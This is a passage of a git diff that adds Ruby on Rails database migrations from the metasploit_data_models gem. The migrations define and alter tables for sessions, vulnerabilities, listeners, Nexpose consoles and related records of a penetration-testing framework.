:sessions do |t| + t.integer :host_id + + t.string :stype # session type: meterpreter, shell, etc + t.string :via_exploit # module name + t.string :via_payload # payload name + t.string :desc # session description + t.integer :port + t.string :platform # platform type of the remote system + t.string :routes + + t.text :datastore # module's datastore + + t.timestamp :opened_at, :null => false + t.timestamp :closed_at + + t.string :close_reason + end + + create_table :session_events do |t| + t.integer :session_id + + t.string :etype # event type: command, output, upload, download, filedelete + t.binary :command + t.binary :output + t.string :remote_path + t.string :local_path + + t.timestamp :created_at + end + + # + # Migrate session data from events table + # + + close_events = Event.find_all_by_name("session_close") + open_events = Event.find_all_by_name("session_open") + + command_events = Event.find_all_by_name("session_command") + output_events = Event.find_all_by_name("session_output") + upload_events = Event.find_all_by_name("session_upload") + download_events = Event.find_all_by_name("session_download") + + open_events.each do |o| + c = close_events.find { |e| e.info[:session_uuid] == o.info[:session_uuid] } + + s = Session.new( + :host_id => o.host_id, + :stype => o.info[:session_type], + :via_exploit => o.info[:via_exploit], + :via_payload => o.info[:via_payload], + :datastore => o.info[:datastore], + :opened_at => o.created_at + ) + + if c + s.closed_at = c.created_at + s.desc = c.info[:session_info] + else + # couldn't find the corresponding close event + s.closed_at = s.opened_at + s.desc = "?" + end + + uuid = o.info[:session_uuid] + + command_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| + s.events.build(:created_at => e.created_at, :etype => "command", :command => e.info[:command] ) + end + + output_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| + s.events.build(:created_at => e.created_at, :etype => "output", :output => e.info[:output] ) + end + + upload_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| + s.events.build(:created_at => e.created_at, :etype => "upload", :local_path => e.info[:local_path], :remote_path => e.info[:remote_path] ) + end + + download_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| + s.events.build(:created_at => e.created_at, :etype => "download", :local_path => e.info[:local_path], :remote_path => e.info[:remote_path] ) + end + + s.events.sort_by(&:created_at) + + s.save! + end + end + + def self.down + drop_table :sessions + drop_table :session_events + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110414180600_add_local_id_to_session_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110414180600_add_local_id_to_session_table.rb new file mode 100755 index 0000000000..7c0e57c505 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110414180600_add_local_id_to_session_table.rb @@ -0,0 +1,11 @@ +class AddLocalIdToSessionTable < ActiveRecord::Migration + + def self.up + add_column :sessions, :local_id, :integer + end + + def self.down + remove_column :sessions, :local_id + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110415175705_add_routes_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110415175705_add_routes_table.rb new file mode 100755 index 0000000000..1eb104f9bf --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110415175705_add_routes_table.rb @@ -0,0 +1,18 @@ +class AddRoutesTable < ActiveRecord::Migration + + def self.up + create_table :routes do |t| + t.integer :session_id + t.string :subnet + t.string :netmask + end + + remove_column :sessions, :routes + end + + def self.down + drop_table :routes + + add_column :sessions, :routes, :string + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110422000000_convert_binary.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110422000000_convert_binary.rb new file mode 100755 index 0000000000..4fa3428ad1 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110422000000_convert_binary.rb @@ -0,0 +1,72 @@ +class ConvertBinary < ActiveRecord::Migration + + + class WebPage < ActiveRecord::Base + serialize :headers + end + + class WebVuln < ActiveRecord::Base + serialize :params + end + + def bfilter(str) + str = str.to_s + str.encoding = 'binary' if str.respond_to?('encoding=') + str.gsub(/[\x00\x7f-\xff]/, '') + end + + def self.up + rename_column :web_pages, :body, :body_text + rename_column :web_pages, :request, :request_text + rename_column :web_vulns, :request, :request_text + rename_column :web_vulns, :proof, :proof_text + + add_column :web_pages, :body, :binary + add_column :web_pages, :request, :binary + add_column :web_vulns, :request, :binary + add_column :web_vulns, :proof, :binary + + WebPage.find(:all).each { |r| r.body = r.body_text; r.save! } + WebPage.find(:all).each { |r| r.request = r.request_text; r.save! } + WebVuln.find(:all).each { |r| r.proof = r.proof_text; r.save! } + WebVuln.find(:all).each { |r| r.request = r.request_text; r.save! } + + remove_column :web_pages, :body_text + remove_column :web_pages, :request_text + remove_column :web_vulns, :request_text + remove_column :web_vulns, :proof_text + + WebPage.connection.schema_cache.clear! + WebPage.reset_column_information + WebVuln.connection.schema_cache.clear! + WebVuln.reset_column_information + end + + def self.down + + rename_column :web_pages, :body, :body_binary + rename_column :web_pages, :request, :request_binary + rename_column :web_vulns, :request, :request_binary + rename_column :web_vulns, :proof, :proof_binary + + add_column :web_pages, :body, :text + add_column :web_pages, :request, :text + add_column :web_vulns, :request, :text + add_column :web_vulns, :proof, :text + + WebPage.find(:all).each { |r| r.body = bfilter(r.body_binary); r.save! } + WebPage.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! } + WebVuln.find(:all).each { |r| r.proof = bfilter(r.proof_binary); r.save! } + WebVuln.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! } + + remove_column :web_pages, :body_binary + remove_column :web_pages, :request_binary + remove_column :web_vulns, :request_binary + remove_column :web_vulns, :proof_binary + + WebPage.connection.schema_cache.clear! + WebPage.reset_column_information + WebVuln.connection.schema_cache.clear! + WebVuln.reset_column_information + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110425095900_add_last_seen_to_sessions.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110425095900_add_last_seen_to_sessions.rb new file mode 100755 index 0000000000..48380af6ae --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110425095900_add_last_seen_to_sessions.rb @@ -0,0 +1,8 @@ +class AddLastSeenToSessions < ActiveRecord::Migration + def self.up + add_column :sessions, :last_seen, :timestamp + end + def self.down + remove_column :sessions, :last_seen + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110513143900_track_successful_exploits.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110513143900_track_successful_exploits.rb new file mode 100755 index 0000000000..7c55105fe8 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110513143900_track_successful_exploits.rb @@ -0,0 +1,31 @@ +class TrackSuccessfulExploits < ActiveRecord::Migration + + + class ExploitedHost < ActiveRecord::Base + end + + class Vuln < ActiveRecord::Base + end + + def self.up + add_column :vulns, :exploited_at, :timestamp + + # Migrate existing exploited_hosts entries + + ExploitedHost.find(:all).select {|x| x.name}.each do |exploited_host| + next unless(exploited_host.name =~ /^(exploit|auxiliary)\//) + vulns = Vuln.find_all_by_name_and_host_id(exploited_host.name, exploited_host.host_id) + next if vulns.empty? + vulns.each do |vuln| + vuln.exploited_at = exploited_host.updated_at + vuln.save + end + end + + end + + def self.down + remove_column :vulns, :exploited_at + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb new file mode 100755 index 0000000000..e1b8955b7f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb @@ -0,0 +1,26 @@ +class RenameAndPruneNessusVulns < ActiveRecord::Migration + + class Vuln < ActiveRecord::Base + end + + # No table changes, just vuln renaming to drop the NSS id + # from those vulns that have it and a descriptive name. + def self.up + Vuln.find(:all).each do |v| + if v.name =~ /^NSS-0?\s*$/ + v.delete + next + end + next unless(v.name =~ /^NSS-[0-9]+\s(.+)/) + new_name = $1 + next if(new_name.nil? || new_name.strip.empty?) + v.name = new_name + v.save! + end + end + + def self.down + say "Cannot un-rename and un-prune NSS vulns for migration 20110517160800." + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000000_add_task_id_to_reports_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000000_add_task_id_to_reports_table.rb new file mode 100755 index 0000000000..5af2d46704 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000000_add_task_id_to_reports_table.rb @@ -0,0 +1,11 @@ +class AddTaskIdToReportsTable < ActiveRecord::Migration + + def self.up + add_column :reports, :task_id, :integer + end + + def self.down + remove_column :reports, :task_id + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000001_add_api_keys_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000001_add_api_keys_table.rb new file mode 100755 index 0000000000..13e6ecedd0 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000001_add_api_keys_table.rb @@ -0,0 +1,12 @@ +class AddApiKeysTable < ActiveRecord::Migration + def self.up + create_table :api_keys do |t| + t.text :token + t.timestamps + end + end + def self.down + drop_table :api_keys + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110606000001_add_macros_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110606000001_add_macros_table.rb new file mode 100755 index 0000000000..bfb8ef6085 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110606000001_add_macros_table.rb @@ -0,0 +1,16 @@ +class AddMacrosTable < ActiveRecord::Migration + def self.up + create_table :macros do |t| + t.timestamps + t.text :owner + t.text :name + t.text :description + t.binary :actions + t.binary :prefs + end + end + def self.down + drop_table :macros + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110622000000_add_settings_to_tasks_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110622000000_add_settings_to_tasks_table.rb new file mode 100755 index 0000000000..ee9ee21070 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110622000000_add_settings_to_tasks_table.rb @@ -0,0 +1,12 @@ +class AddSettingsToTasksTable < ActiveRecord::Migration + + def self.up + add_column :tasks, :settings, :binary + end + + def self.down + remove_column :tasks, :settings + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110624000001_add_listeners_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110624000001_add_listeners_table.rb new file mode 100755 index 0000000000..c541be2131 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110624000001_add_listeners_table.rb @@ -0,0 +1,19 @@ +class AddListenersTable < ActiveRecord::Migration + def self.up + create_table :listeners do |t| + t.timestamps + t.integer :workspace_id, :null => false, :default => 1 + t.integer :task_id + t.boolean :enabled, :default => true + t.text :owner + t.text :payload + t.text :address + t.integer :port + t.binary :options + end + end + def self.down + drop_table :listeners + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110625000001_add_macro_to_listeners_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110625000001_add_macro_to_listeners_table.rb new file mode 100755 index 0000000000..283d102105 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110625000001_add_macro_to_listeners_table.rb @@ -0,0 +1,12 @@ +class AddMacroToListenersTable < ActiveRecord::Migration + + def self.up + add_column :listeners, :macro, :text + end + + def self.down + remove_column :listeners, :macro + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000001_add_nexpose_consoles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000001_add_nexpose_consoles_table.rb new file mode 100755 index 0000000000..037af40ae1 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000001_add_nexpose_consoles_table.rb @@ -0,0 +1,21 @@ +class AddNexposeConsolesTable < ActiveRecord::Migration + def self.up + create_table :nexpose_consoles do |t| + t.timestamps + t.boolean :enabled, :default => true + t.text :owner + t.text :address + t.integer :port, :default => 3780 + t.text :username + t.text :password + t.text :status + t.text :version + t.text :cert + t.binary :cached_sites + end + end + def self.down + drop_table :nexpose_consoles + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb new file mode 100755 index 0000000000..9411724344 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb @@ -0,0 +1,12 @@ +class AddNameToNexposeConsolesTable < ActiveRecord::Migration + + def self.up + add_column :nexpose_consoles, :name, :text + end + + def self.down + remove_column :nexpose_consoles, :name + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110717000001_add_profiles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110717000001_add_profiles_table.rb new file mode 100755 index 0000000000..c0b8831bf1 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110717000001_add_profiles_table.rb @@ -0,0 +1,15 @@ +class AddProfilesTable < ActiveRecord::Migration + def self.up + create_table :profiles do |t| + t.timestamps + t.boolean :active, :default => true + t.text :name + t.text :owner + t.binary :settings + end + end + def self.down + drop_table :profiles + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110727163801_expand_cred_ptype_column.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110727163801_expand_cred_ptype_column.rb new file mode 100755 index 0000000000..b5fce6fd8f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110727163801_expand_cred_ptype_column.rb @@ -0,0 +1,9 @@ +class ExpandCredPtypeColumn < ActiveRecord::Migration + def self.up + change_column :creds, :ptype, :string, :limit => 256 + end + def self.down + change_column :creds, :ptype, :string, :limit => 16 + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110730000001_add_initial_indexes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110730000001_add_initial_indexes.rb new file mode 100755 index 0000000000..4085f64843 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110730000001_add_initial_indexes.rb @@ -0,0 +1,85 @@ +class AddInitialIndexes < ActiveRecord::Migration + def self.up + + + add_index :hosts, :address + add_index :hosts, :address6 + add_index :hosts, :name + add_index :hosts, :state + add_index :hosts, :os_name + add_index :hosts, :os_flavor + add_index :hosts, :purpose + + # Removed (conditionally dropped in the next migration) + # add_index :hosts, :comments + + add_index :services, :port + add_index :services, :proto + add_index :services, :state + add_index :services, :name + + # Removed (conditionally dropped in the next migration) + # add_index :services, :info + + add_index :notes, :ntype + + add_index :vulns, :name + + # Removed (conditionally dropped in the next migration) + # add_index :vulns, :info + + add_index :refs, :name + + add_index :web_sites, :vhost + add_index :web_sites, :comments + add_index :web_sites, :options + + add_index :web_pages, :path + add_index :web_pages, :query + + add_index :web_forms, :path + + add_index :web_vulns, :path + add_index :web_vulns, :method + add_index :web_vulns, :name + end + + def self.down + + remove_index :hosts, :address + remove_index :hosts, :address6 + remove_index :hosts, :name + remove_index :hosts, :state + remove_index :hosts, :os_name + remove_index :hosts, :os_flavor + remove_index :hosts, :purpose + remove_index :hosts, :comments + + remove_index :services, :port + remove_index :services, :proto + remove_index :services, :state + remove_index :services, :name + remove_index :services, :info + + remove_index :notes, :ntype + + remove_index :vulns, :name + remove_index :vulns, :info + + remove_index :refs, :name + + remove_index :web_sites, :vhost + remove_index :web_sites, :comments + remove_index :web_sites, :options + + remove_index :web_pages, :path + remove_index :web_pages, :query + + remove_index :web_forms, :path + + remove_index :web_vulns, :path + remove_index :web_vulns, :method + remove_index :web_vulns, :name + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110812000001_prune_indexes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110812000001_prune_indexes.rb new file mode 100755 index 0000000000..54b681f273 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110812000001_prune_indexes.rb @@ -0,0 +1,23 @@ +class PruneIndexes < ActiveRecord::Migration + def self.up + + if indexes(:hosts).map{|x| x.columns }.flatten.include?("comments") + remove_index :hosts, :comments + end + + if indexes(:services).map{|x| x.columns }.flatten.include?("info") + remove_index :services, :info + end + + if indexes(:vulns).map{|x| x.columns }.flatten.include?("info") + remove_index :vulns, :info + end + end + + def self.down + add_index :hosts, :comments + add_index :services, :info + add_index :vulns, :info + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110922000000_expand_notes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110922000000_expand_notes.rb new file mode 100755 index 0000000000..4e77303fa0 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110922000000_expand_notes.rb @@ -0,0 +1,9 @@ +class ExpandNotes < ActiveRecord::Migration + def self.up + change_column :notes, :data, :text + end + def self.down + change_column :notes, :data, :string, :limit => 65536 + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110928101300_add_mod_ref_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110928101300_add_mod_ref_table.rb new file mode 100755 index 0000000000..24f16d642f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110928101300_add_mod_ref_table.rb @@ -0,0 +1,17 @@ +# Probably temporary, a spot to stash module names and their associated refs +# Don't count on it being populated at any given moment. +class AddModRefTable < ActiveRecord::Migration + + def self.up + create_table :mod_refs do |t| + t.string :module, :limit => 1024 + t.string :mtype, :limit => 128 + t.text :ref + end + end + + def self.down + drop_table :mod_refs + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111011110000_add_display_name_to_reports_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111011110000_add_display_name_to_reports_table.rb new file mode 100755 index 0000000000..f0c54fed98 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111011110000_add_display_name_to_reports_table.rb @@ -0,0 +1,24 @@ +class AddDisplayNameToReportsTable < ActiveRecord::Migration + + class Report < ActiveRecord::Base + end + + def self.up + + add_column :reports, :name, :string, :limit => 63 + + # Migrate to have a default name. + + Report.find(:all).each do |report| + rtype = report.rtype.to_s =~ /^([A-Z0-9]+)\x2d/i ? $1 : "AUDIT" + default_name = rtype[0,57].downcase.capitalize + "-" + report.id.to_s[0,5] + report.name = default_name + report.save + end + end + + def self.down + remove_column :reports, :name + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111203000000_inet_columns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111203000000_inet_columns.rb new file mode 100755 index 0000000000..6e86654bc5 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111203000000_inet_columns.rb @@ -0,0 +1,13 @@ +class InetColumns < ActiveRecord::Migration + + def self.up + change_column :hosts, :address, 'INET using address::INET' + remove_column :hosts, :address6 + end + + def self.down + change_column :hosts, :address, :text + add_column :hosts, :address6, :text + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111204000000_more_inet_columns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111204000000_more_inet_columns.rb new file mode 100755 index 0000000000..56adf64625 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111204000000_more_inet_columns.rb @@ -0,0 +1,17 @@ +class MoreInetColumns < ActiveRecord::Migration + + def self.up + change_column :wmap_requests, :address, 'INET using address::INET' + remove_column :wmap_requests, :address6 + change_column :wmap_targets, :address, 'INET using address::INET' + remove_column :wmap_targets, :address6 + end + + def self.down + change_column :wmap_requests, :address, :string, :limit => 16 + add_column :wmap_requests, :address6, :string, :limit => 255 + change_column :wmap_targets, :address, :string, :limit => 16 + add_column :wmap_targets, :address6, :string, :limit => 255 + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111210000000_add_scope_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111210000000_add_scope_to_hosts.rb new file mode 100755 index 0000000000..2bbe8f9f77 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111210000000_add_scope_to_hosts.rb @@ -0,0 +1,9 @@ +class AddScopeToHosts < ActiveRecord::Migration + def self.up + add_column :hosts, :scope, :text + end + + def self.down + remove_column :hosts, :scope + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120126110000_add_virtual_host_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120126110000_add_virtual_host_to_hosts.rb new file mode 100755 index 0000000000..5e9833d884 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120126110000_add_virtual_host_to_hosts.rb @@ -0,0 +1,9 @@ +class AddVirtualHostToHosts < ActiveRecord::Migration + def self.up + add_column :hosts, :virtual_host, :text + end + + def self.down + remove_column :hosts, :viritual_host + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120411173220_rename_workspace_members.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120411173220_rename_workspace_members.rb new file mode 100755 index 0000000000..75003d6d36 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120411173220_rename_workspace_members.rb @@ -0,0 +1,9 @@ +class RenameWorkspaceMembers < ActiveRecord::Migration + def up + rename_table :project_members, :workspace_members + end + + def down + rename_table :workspace_members, :project_members + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120601152442_add_counter_caches_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120601152442_add_counter_caches_to_hosts.rb new file mode 100755 index 0000000000..fcd2f9e0ca --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120601152442_add_counter_caches_to_hosts.rb @@ -0,0 +1,21 @@ +class AddCounterCachesToHosts < ActiveRecord::Migration + + def self.up + add_column :hosts, :note_count, :integer, :default => 0 + add_column :hosts, :vuln_count, :integer, :default => 0 + add_column :hosts, :service_count, :integer, :default => 0 + + Mdm::Host.reset_column_information + Mdm::Host.all.each do |h| + Mdm::Host.reset_counters h.id, :notes + Mdm::Host.reset_counters h.id, :vulns + Mdm::Host.reset_counters h.id, :services + end + end + + def self.down + remove_column :hosts, :note_count + remove_column :hosts, :vuln_count + remove_column :hosts, :service_count + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000000_add_vuln_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000000_add_vuln_details.rb new file mode 100755 index 0000000000..0f946da39c --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000000_add_vuln_details.rb @@ -0,0 +1,34 @@ +class AddVulnDetails < ActiveRecord::Migration + + def self.up + create_table :vuln_details do |t| + t.integer :vuln_id # Vuln table reference + t.float :cvss_score # 0.0 to 10.0 + t.string :cvss_vector # Ex: (AV:N/AC:L/Au:N/C:C/I:C/A:C)(AV:N/AC:L/Au:N/C:C/I:C/A:C) + + t.string :title # Short identifier + t.text :description # Plain text or HTML (trusted) + t.text :solution # Plain text or HTML (trusted) + t.binary :proof # Should be UTF-8, but may not be, sanitize on output + # Technically this duplicates vuln.info, but that field + # is poorly managed / handled today. Eventually we will + # replace vuln.info + + # Nexpose-specific fields + t.integer :nx_console_id # NexposeConsole table reference + t.integer :nx_device_id # Reference from the Nexpose side + t.string :nx_vuln_id # 'jre-java-update-flaw' + t.float :nx_severity # 0-10 + t.float :nx_pci_severity # 0-10 + t.timestamp :nx_published # Normalized from "20081205T000000000" + t.timestamp :nx_added # Normalized from "20081205T000000000" + t.timestamp :nx_modified # Normalized from "20081205T000000000" + t.text :nx_tags # Comma separated + + end + end + + def self.down + drop_table :vuln_details + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000001_add_host_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000001_add_host_details.rb new file mode 100755 index 0000000000..36e70892fa --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000001_add_host_details.rb @@ -0,0 +1,16 @@ +class AddHostDetails < ActiveRecord::Migration + + def self.up + create_table :host_details do |t| + t.integer :host_id # Host table reference + + # Nexpose-specific fields + t.integer :nx_console_id # NexposeConsole table reference + t.integer :nx_device_id # Reference from the Nexpose side + end + end + + def self.down + drop_table :host_details + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000002_expand_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000002_expand_details.rb new file mode 100755 index 0000000000..bd240ecdc5 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000002_expand_details.rb @@ -0,0 +1,16 @@ +class ExpandDetails < ActiveRecord::Migration + + def self.up + add_column :vuln_details, :nx_vuln_status, :text + add_column :vuln_details, :nx_proof_key, :text + add_column :vuln_details, :src, :string + add_column :host_details, :src, :string + end + + def self.down + remove_column :vuln_details, :nx_vuln_status + remove_column :vuln_details, :nx_proof_key + remove_column :vuln_details, :src + remove_column :host_details, :src + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000003_expand_details2.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000003_expand_details2.rb new file mode 100755 index 0000000000..4122503692 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000003_expand_details2.rb @@ -0,0 +1,24 @@ +class ExpandDetails2 < ActiveRecord::Migration + + def self.up + add_column :host_details, :nx_site_name, :string + add_column :host_details, :nx_site_importance, :string + add_column :host_details, :nx_scan_template, :string + add_column :host_details, :nx_risk_score, :float + + add_column :vuln_details, :nx_scan_id, :integer + add_column :vuln_details, :nx_vulnerable_since, :timestamp + add_column :vuln_details, :nx_pci_compliance_status, :string + end + + def self.down + remove_column :host_details, :nx_site_name + remove_column :host_details, :nx_site_importance + remove_column :host_details, :nx_scan_template + remove_column :host_details, :nx_risk_score + + remove_column :vuln_details, :nx_scan_id + remove_column :vuln_details, :nx_vulnerable_since + remove_column :vuln_details, :nx_pci_compliance_status + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000004_add_vuln_attempts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000004_add_vuln_attempts.rb new file mode 100755 index 0000000000..b943fe358f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000004_add_vuln_attempts.rb @@ -0,0 +1,19 @@ +class AddVulnAttempts < ActiveRecord::Migration + + def self.up + create_table :vuln_attempts do |t| + t.integer :vuln_id # Vuln table reference + t.timestamp :attempted_at # Timestamp of when the session was opened or the module exited + t.boolean :exploited # Whether or not the attempt succeeded + t.string 